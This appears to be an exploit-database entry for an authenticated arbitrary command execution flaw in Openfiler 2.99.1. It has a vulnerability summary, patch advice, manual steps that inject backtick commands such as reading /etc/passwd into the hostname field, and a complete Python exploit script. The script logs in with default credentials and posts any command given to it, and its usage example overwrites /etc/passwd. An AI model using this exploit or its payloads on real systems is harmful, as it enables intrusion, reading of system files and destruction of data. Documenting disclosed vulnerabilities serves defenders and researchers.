Arbitrary Code Execution in Openfiler

vendor:

Openfiler

by:

Dolev Farhi

9,3

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: Openfiler

Affected Version From: 2.99.1

Affected Version To: 2.99.1

Patch Exists: YES

Related CWE: N/A

CPE: a:openfiler:openfiler

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Arbitrary Code Execution in Openfiler

Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based Storage Area Networking functionality in a single cohesive framework. An arbitrary code execution vulnerability exists in Openfiler, which allows an attacker to execute arbitrary code on the vulnerable system. This is achieved by logging into the Openfiler dashboard, navigating to the system tab, and entering a shell command using the backticks ` `. The code will then be reflected in the hostname value space.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Openfiler.

Source

Exploit-DB raw data:

# Exploit Title: Arbitrary Code Execution in Openfiler

# Exploit author: Dolev Farhi @f1nhack

# Date 07/05/2014

# Vendor homepage: http://www.openfiler.com

# Affected Software version: 2.99.1

# Alerted vendor: 7.5.14


Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based 
Storage Area Networking functionality in a single cohesive framework.



Vulnerability Description
=========================
Arbitrary code execution


Steps to reproduce / PoC:
=========================
1.1. Login to Openfiler dashboard.

1.2. Under system tab -> Hostname

1.3. Enter any shell command you desire using the backticks ` ` 

	e.g. `cat /etc/passwd`
	
1.4. the code reflects in the hostname value space



  <-> PoC Video: https://www.youtube.com/watch?v=NzjB9U_0yLE&feature=youtu.be

#!/usr/bin/env python
# Exploit Title: Openfiler Remote Code Execution 
# Date 21/12/2014
# Affected Software version: 2.99.1
# Alerted vendor: 7.5.14

# Quick and dirty exploit
# usage: python openfiler_RCE.py <Command>
# Author: Dolev Farhi @dolevff

import sys
import urllib
import urllib2
import cookielib

server = 'ip.add.re.ss'
username = 'openfiler'
password = 'password'
timeout = 6
command = '`' + ' '.join(sys.argv[1:]) + '`'

if len(sys.argv[1:]) == 0:
    print 'Missing argument (command)'
    print 'example: python openfilerRCE.py echo > /etc/passwd'
    sys.exit(0)

try:
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'username' : username, 'password' : password})
    opener.open('https://' + server + ':446/account/login.html', login_data, timeout=timeout)
    payload = urllib.urlencode({'hostname' : command,'netconf' : 'Update'})
    url = 'https://%s:446/admin/system.html' % (server)
    resp = opener.open(url)
    if 'logout.html' in resp.read():
        opener.open('https://' + server + ':446/admin/system.html', payload)
        print ('Executed %s :-)' %(command))
        sys.exit(0)
except urllib2.URLError, e:
    print 'Error: %s' %(e.reason)
    sys.exit(1)
except Exception, e:
    print 'Error: possibily invalid credentials, try again.'
    sys.exit(1)